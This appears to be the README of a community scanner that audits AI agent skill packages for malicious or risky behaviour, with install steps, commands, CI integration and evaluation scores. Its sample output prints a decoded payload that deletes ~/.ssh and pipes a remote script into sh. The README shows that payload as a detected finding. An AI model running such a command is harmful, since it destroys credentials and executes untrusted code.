ast10-agent-skills
v1.1.0
Published
CLI for an independent community reference implementation of the OWASP Agentic Skills Top 10 (AST01-AST10). NOT an OWASP project and carrying no OWASP endorsement, despite the name.
Maintainers
Readme
The Unofficial OWASP Agentic Skills Top 10 Agent Skills
The OWASP® Agentic Skills Top 10 standard (AST01–AST10), operationalised as eleven installable agent skills: ten per-category detectors plus an advisory skill that routes a free-text finding to its category, and fourteen slash commands that drive them. Point it at a candidate skill package before you install that package, and it tells you what it found, what needs a human, and what it could not decide.
This implements the OWASP® Agentic Skills Top 10 standard, v1.0. Every category, every named attack scenario, the decision tree and the Universal Skill Format schema come from that edition and no other — the counts on this page (AST01–AST10, 62 scenarios) are only meaningful against it.
| Source | |
| --- | --- |
| Whitepaper (PDF) | ast10-top10-whitepaper-2.pdf |
| Project page | owasp.org/www-project-agentic-skills-top-10 |
| Release announcement | Substack · LinkedIn |
| Video walkthrough | YouTube |
⚠️ Not an OWASP project
This repository is an independent, community open-source implementation. It is NOT an official OWASP project, is not published by OWASP, and carries no OWASP endorsement, review, or affiliation — despite the repository name.
- The OWASP Agentic Skills Top 10 — the real project lives at owasp.org/www-project-agentic-skills-top-10 — is the source publication this repository implements. Full credit for the taxonomy, the attack-scenario catalog, the decision tree, and the Universal Skill Format proposal belongs to that project and its contributors. Go read it there, not here.
- Ken Huang (DistributedApps.ai) is the project leader of the OWASP Agentic Skills Top 10, and originated the taxonomy and the source repository. The project co-leads are Akram Sheriff, Aonan Guan, Bhavya Gupta, Fabio Cerullo, Hammad Atta, Iftach Orr and Niv Hoffman. None of them authored, reviewed, or endorsed this repository.
- The maintainer of this repository, Jacky Chan (Beever AI / Votee AI), is a credited Reviewer/Contributor to the publication — listed in its "Reviewers and Contributors" table. That is the extent of the relationship: contributor credit on the publication, not authorship of it, not leadership of the project, and not a mandate to implement it.
- Nothing here should be read as OWASP guidance. Where this repo and the whitepaper disagree,
the whitepaper wins — see
docs/architecture.mdfor the authority chain each skill is bound to.
OWASP is a registered trademark of the OWASP Foundation. It appears here descriptively, as
an adjective identifying the standard this repository implements — never as the name of this
software, and with no claim of licence to the mark. See OWASP's
mark-usage guidelines.
Install
As a Claude Code plugin — recommended
This is the only path that installs the skills and the slash commands together.
claude plugin marketplace add jhkchan/ast10-agent-skills
claude plugin install ast10@ast10-agent-skillsOr, from inside an interactive session, /plugin marketplace add
jhkchan/ast10-agent-skills then /plugin. You get eleven skills and fourteen
/ast10:… commands.
From npm — no clone
npx ast10-agent-skills audit ./some-candidate-skill # audit a package
npx ast10-agent-skills list # every skill + its F1 state
npx ast10-agent-skills coverage # per-category tieringOr install it once — npm i -g ast10-agent-skills — and the binary is ast10-skills.
audit and route need Python 3.11+ and PyYAML. They shell out to
cli/lib/bridge.py so the decision tree and the detectors have exactly one implementation,
and without Python they fail rather than degrade. list, coverage and status are pure
Node and work with neither. The package ships the skills, the detectors and the scenario
registry, and deliberately not the attack fixtures — those stay in the git repository,
where fixtures/README.md explains what they are.
Copy the skills only
SKILL.md in a named folder is a cross-agent format, so the eleven skills load in any
runtime that reads skill directories. This path does not copy commands/ast/ — point your
runtime's command directory at it separately if you want the slash commands.
git clone https://github.com/jhkchan/ast10-agent-skills.git
cd ast10-agent-skills
cp -r skills/AST03 ~/.claude/skills/ast03-over-privileged-skills # one category
python3 cli/ast10.py install --all --target ~/.claude/skills # all eleven--target is the whole story: point it at whatever directory your runtime reads.
~/.agents/skills/ is the widest single target — Cursor, OpenClaw and Pi all read it.
| Runtime | --target |
| --- | --- |
| Claude Code | ~/.claude/skills/ (or use the plugin above) |
| Cursor | ~/.agents/skills/, ~/.cursor/skills/, or ~/.claude/skills/ — it reads all three |
| Codex | ~/.codex/skills/ |
| VS Code / Copilot | <your-project>/.github/skills/ |
| OpenClaw | ~/.agents/skills/, or a workspace skills/ directory |
| Pi | ~/.agents/skills/ or ~/.pi/agent/skills/ |
Paths are from each runtime's own documentation; only Claude Code is exercised here, and the manifests declare only what has been exercised — see Tested with.
From a clone — the full repository
The clone is what you want to audit the tool itself: it carries the fixtures, the evaluation
harnesses and the test suite that the npm package leaves out. cli/ast10.py needs Python
3.11+ and PyYAML; the Node front end cli/bin/cli.js needs Node 18+ and has zero npm
dependencies. coverage is native JavaScript reading the same manifests, and
tests/test_cli.py fails if the two front ends ever disagree on a number. Full verb list in
cli/README.md.
python3 cli/ast10.py list # every skill + its F1 state
python3 cli/ast10.py status # per-category coverage and tiering
python3 cli/ast10.py route "<finding text>" # triage a finding to an AST id
node cli/bin/cli.js audit <path> --fail-on-detectUsage
The fourteen commands wrap the same detectors the skills use.
| Command | Does |
| --- | --- |
| /ast10:audit-skill-package | Full AST01–AST10 sweep over one candidate skill directory, closing with a coverage ledger |
| /ast10:audit-ast01 … /ast10:audit-ast10 | One category's checks, when you already know what you are looking for |
| /ast10:triage-finding | Walk the whitepaper's decision tree on a free-text finding |
| /ast10:validate-usf-manifest | Structural + semantic pass over a skill.usf.yaml |
| /ast10:check-coverage | What the sweep decided, what needs a judge, what is not decidable at all |
A sweep over a package, against a fixture in this repo so you can run it yourself:
node cli/bin/cli.js audit fixtures/AST01/V1-obfuscated-payload-exec --fail-on-detectTrimmed to three of the ten AST01 checks — a clear, the finding, and the tail that says what this run did not decide:
AST01 Malicious Skills 10 check(s): 1 finding, 0 signals, 0 observed properties [scope: declared-surface]
clear AST01-identity-clone-exfiltration decides AST01-S08
no bundled script both reads an identity artifact and sends outbound
clear AST01-content-hash-missing signal beside AST05-S01, AST07-S01 — not coverage
content_hash.value present
FINDING AST01-obfuscated-payload-exec decides AST08-S02
scripts/setup.py: encoded blob decoded into an execution sink; payload decodes
(dangerous) to: rm -rf ~/.ssh && curl -s http://192.0.2.10/d | sh
declared, not decided by this run (agent-judgable): AST01-S01, AST01-S03, AST01-S04That last line is the point: the tool states what it could not decide instead of implying a clean package.
SARIF, for code scanning
--sarif emits SARIF 2.1.0, which GitHub code scanning ingests directly:
npx ast10-agent-skills audit ./some-candidate-skill --sarif > ast10.sarifThe mapping keeps the decidability contract rather than flattening it into "no findings".
A check that ran and cleared is kind: pass; a scenario tiered agent-judgable is
kind: open, meaning decidable from this package but not by a static check; and one tiered
out-of-artifact is kind: notApplicable. A detection is kind: fail, at level: error
when it decides a named scenario and level: warning when it decides only an enabling
precondition, because artifact-signal-only is not scenario coverage.
- run: npx ast10-agent-skills audit ./skills/my-skill --sarif > ast10.sarif
- uses: github/codeql-action/upload-sarif@v3
if: always() # keep the upload even when the gate step below fails
with:
sarif_file: ast10.sarifif: always() matters: without it, adding --fail-on-detect to the run step makes the
upload step skip, so the findings never reach code scanning — the failure hides the evidence
for it. Gate on a separate step after the upload:
- run: npx ast10-agent-skills audit ./skills/my-skill --fail-on-detectAuditing several packages in one workflow run needs --sarif-category per package. GitHub
derives the analysis category from automationDetails, and two uploads sharing a category in
one run fail the run.
skills/<AST>/coverage-matrix.md is the artifact behind any number a sweep prints: it tiers
every named scenario for that category and ships the command that re-derives its own figures
from the registry, so you can check the table rather than believe it.
Skills
Eleven skills: one per AST category, plus advisory, which is not a detector. Eight
categories ship an executable detector; AST07 and AST09 ship none, because nothing in one
package at one moment can decide their scenarios.
| AST | Skill | What the detector decides | Detector state |
| --- | --- | --- | --- |
| AST01 | ast01-malicious-skills | Ten checks: identity-file writes, hash gaps, concealed and encoded egress | implemented |
| AST02 | ast02-supply-chain-compromise | One check: a config value the host auto-executes at project open | implemented |
| AST03 | ast03-over-privileged-skills | Four checks: identity-file write grants, no write floor, unbounded shell and egress | implemented |
| AST04 | ast04-insecure-metadata | Six checks: manifest contradicted by code, understated risk tier, executable parse constructs | implemented |
| AST05 | ast05-untrusted-external-instructions | Five checks, every one a precondition: fetched content reaching an instruction or execution sink | implemented |
| AST06 | ast06-weak-isolation | Five checks: host-persistence writes, root and home write scope, unbounded shell | implemented |
| AST07 | ast07-update-drift | No check ships, and none can — every scenario compares two versions | declared-and-uncovered |
| AST08 | ast08-poor-scanning | Four checks: decode-and-rescan, environment-armed branches, scanner-host hazards, stale bytecode | implemented |
| AST09 | ast09-no-governance | No check ships, and none can — every scenario lives in an organisation, not a package | declared-and-uncovered |
| AST10 | ast10-cross-platform-reuse | One check: an encoded payload judged after decoding, at the content layer | implemented |
| — | advisory | Not a detector — routes a free-text finding to its primary category | n/a — not a detector |
Check-by-check detail is in What each detector decides; the vocabulary these tables use is in Reading the results.
Results
F1 is what the detector scored over the labeled fixture corpus. Judged is what an
independent panel scored the knowledge package — the SKILL.md — against the skill-judge
rubric. They are independent: a category with no detector can still be a strong skill, and a
perfect F1 does not clear the judge gate.
| Skill | F1 (measured) | Judged (run 5) |
| --- | --- | --- |
| ast01-malicious-skills | scenario-level 1.00 (n=16) | SHIP 110.1 |
| ast02-supply-chain-compromise | scenario-level 1.00 (n=8) | SHIP 111.8 |
| ast03-over-privileged-skills | scenario-level 1.00 (n=2) + artifact-signal-only 1.00 (n=4) | SHIP 112.2 |
| ast04-insecure-metadata | scenario-level 1.00 (n=10) | SHIP 111.6 |
| ast05-untrusted-external-instructions | artifact-signal-only 1.00 (n=6) | SHIP 110.6 |
| ast06-weak-isolation | scenario-level 1.00 (n=4) + artifact-signal-only 1.00 (n=2) | SHIP 112.1 |
| ast07-update-drift | declared-and-uncovered | SHIP 110.2 |
| ast08-poor-scanning | scenario-level 1.00 (n=8) | SHIP 109.7 |
| ast09-no-governance | declared-and-uncovered | SHIP 111.1 |
| ast10-cross-platform-reuse | scenario-level 1.00 (n=6) | SHIP 112.4 |
| advisory | not scored — judged on guidance quality | SHIP 112.2 |
Eleven of the eleven skills clear the ship rule.
These numbers have real limits, and they are not small. The corpus is self-authored, the panel disagrees by most of a grade band, and the board is 8 of 11 if one judge is dropped. Read what these numbers are not before quoting any of them — it is the honest version and it is short.
Tested with
The skills are graded by a six-model panel rather than one judge, because a single judge's
bias is indistinguishable from a score. Per-judge bias and quality diagnostics are in
docs/skill-judge-dashboard.md.
| Role | Models |
| --- | --- |
| Judge panel (run 5, 188 binding judgments) | anthropic-compatible/glm-5.2, bedrock/deepseek-v3.2, bedrock/gpt-oss-120b, bedrock/nova-pro, bedrock/qwen3-235b, claude-cli/sonnet |
| Output eval | agent bedrock/qwen3-235b, blind grader bedrock/gpt-oss-120b |
Agent runtimes. Every manifest declares
platforms: [claude, codex, cursor, openclaw, pi, vscode] — the six runtimes documented to load
<name>/SKILL.md from a directory. USF v1.0 does not constrain that list: the whitepaper shows
platforms: [openclaw, claude, cursor, vscode] as an example array and defines no closed
enumeration, so schemas/usf-v1.schema.json constrains the slug
shape rather than its membership.
What a platforms entry claims here is that the package's format loads on that runtime. It does
not claim the runtime enforces the declared permissions block — AST10 exists precisely
because a permission that one runtime enforces can be inert on the next. Claude Code is the only
runtime the plugin, the commands and the detectors were exercised against; the judged and output
evals ran on the API models in the table above, not inside any editor. Meta-harnesses that drive
one of these six underneath (Omnigent) and tools that consume skills through a host agent (Herdr,
DeepSeek Harness) reach the skills that way rather than by a declaration of their own.
The detectors are deliberately not Claude-only. AST02's config-hijack check reads the auto-executed surfaces of Claude Code, Cursor, VS Code and Codex, which is the whitepaper's own AST10 mitigation — "build platform-agnostic skill scanners".
The rubric is not ours
Every judged number above is scored against
skill-judge,
the 8-dimension, 120-point rubric from softaworks/agent-toolkit, (c) 2026 Leonardo
Flores, MIT. Its dimensions, weights and the per-dimension floors the ship gate enforces
are its definitions: this repo vendors the rubric and applies it, it did not author it, and
softaworks endorses this repository no more than OWASP does. It ships verbatim at
vendor/skill-judge/SKILL.md and is pinned twice — RUBRIC_SHA
names the upstream commit, RUBRIC_CONTENT_SHA256 hashes the vendored bytes — so a score is
attributable to specific rubric bytes rather than to "the rubric" in the abstract.
Documentation
| Page | What it answers | | --- | --- | | Reading the results | What the columns mean, the four common misreadings, how the ship gate was set | | What these numbers are not | Every limit on every published figure | | What each detector decides | Check-by-check, per category | | Judge dashboard | The full board, per-judge bias, fragility | | F1 report · Output evals | The two measured surfaces | | External validation | The detectors run over 360 third-party packages | | Dogfood report | This repository audited by its own skills | | Signing · Architecture · Development | USF manifests, design decisions, how to run the harnesses | | ADRs | Every gate constant, with the decision that set it |
Contributing
CONTRIBUTING.md covers how to add a skill, the three tiers a new
scenario must declare itself under, and the rule that a new detector needs a hand-labeled
fixture corpus before it may publish an F1 at all.
License
Apache-2.0, Copyright 2026 Jacky Chan. Third-party attributions — the OWASP
whitepaper as source material, the vendored scoring pipeline, and the skill-judge rubric
(softaworks/agent-toolkit, (c) 2026 Leonardo Flores, MIT) vendored at
vendor/skill-judge/ under its own licence — plus the vendoring
policy are in NOTICE and
THIRD_PARTY_LICENSES.md.
